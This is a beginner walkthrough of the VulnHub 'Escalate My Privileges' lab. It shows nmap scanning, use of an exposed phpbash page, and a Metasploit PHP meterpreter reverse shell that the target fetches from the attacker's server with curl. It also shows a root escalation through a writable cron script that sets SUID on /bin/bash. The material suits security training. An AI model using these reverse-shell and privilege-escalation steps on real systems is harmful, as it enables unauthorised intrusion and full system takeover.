VulnHub Escalate My Privileges Writeup

In this post, you will learn about how to exploit web application PHP Bash, get initial hold via Metasploit and escalate to root privileges using cron jobs

VulnHub Escalate My Privileges Writeup
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Hello there everyone! This is a beginner-friendly box and in this, you will learn how to get the root user of a running Linux instance running a vulnerable web application. When you get a root user from an existing and running web app, it's known as web to root.

The machine I have used is available on VulnHub:,448/

I will let you configure the machine on your own, we will start from the recon step.


First of all, since DHCP is enabled, you need to find the IP address of the box. We can do this by using Nmap. By default, it tries to scan for open ports, but that would be time-consuming, so let's disable it for now and get only the list of live hosts.

Using Nmap, we can do this by passing -sn flag

nmap -sn

In my case, the IP of the box is I will be using it for further enumeration. This time searching for open ports and services running on it.

nmap -sV  --min-rate 1000

On checking the website, it only has one pic that has a link to some cybersecurity training website. Since the webpage couldn't give any more information. Let's enumerate it further using Nmap HTML scripts

nmap -p80 -sC

Found entry of /phpbash.php. If you don't know what is phpbash, it is basically an interactive web interface to the terminal that can execute commands on the server and return back output of it

Initial Foothold

The phpbash is indeed an initial foothold, but still, we need to perform some shell specific tasks like redirection or whatnot. So relying on a third-party application in such cases is not a cool idea. It's better to get an interactive meterpreter session and continue post-exploitation

Creating a simple PHP reverse shell using msfconsole and run exploit/multi/handler

msf6 > use payload/php/meterpreter/reverse_tcp
msf6 payload(php/meterpreter/reverse_tcp) > set lhost
lhost =>
msf6 payload(php/meterpreter/reverse_tcp) > generate -f raw -o shell.php
[*] Writing 1112 bytes to shell.php...
msf6 payload(php/meterpreter/reverse_tcp) > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost
lhost =>
msf6 exploit(multi/handler) > run

If you are new to Metasploit, stay tuned. I will be posting some Metasploit specific articles soon.

Now if you will see, curl is installed on the system and using phpbash, download the shell.php file. You can use a python HTTP server to spin up a simple file server and ship your exploit on the target machine

curl -o shell.php

Now open in browser and you will see reverse connection spawning meterpreter session

But we wanted a Linux shell access, not meterpreter (again third party shell). Well you can do this by executing an interactive process via meterpreter

meterpreter> execute -f /bin/bash -i -a "-i"

Privilege Escalation

On checking files in the current directory, I came across a readme file that's telling

cat readme.txt
Find Armour User backup in /backup

On checking further, I found a cronjob run and create the archives in /backup/armour.

If you are new to cron jobs or you want a refresher on the same, I have already posted part 1 and part 2 specifically on exploiting cron job misconfigurations

The machine has two vulnerabilities that will help you escalate privileges

  • Cron jobs running as root user will run all the files as the root user
  • The target directory that runs scripts ( /script/ ) is word writable

Now to escalate privileges there are 3 approaches

  1. Change the SUID permission of /bin/bash and then use bash -p to spawn a privileged shell
  2. Get a reverse connection on attacker machine with shell
  3. Update password in /etc/passwd or /etc/shadow using chpasswd utility and perform login using su command

In this, I will be using 1st approach. Why? It's pretty simple and we don't have to set up any additional steps. Simply create a bash file and wait for another hit

The script contents are as follows

chmod u+s /bin/bash
touch /tmp/done-exploit

After some time, if you check /bin/bash, it has suid bit enabled and on doing /bin/bash -p it spawned root shell

Now you can retrieve the flag from /root/proof.txt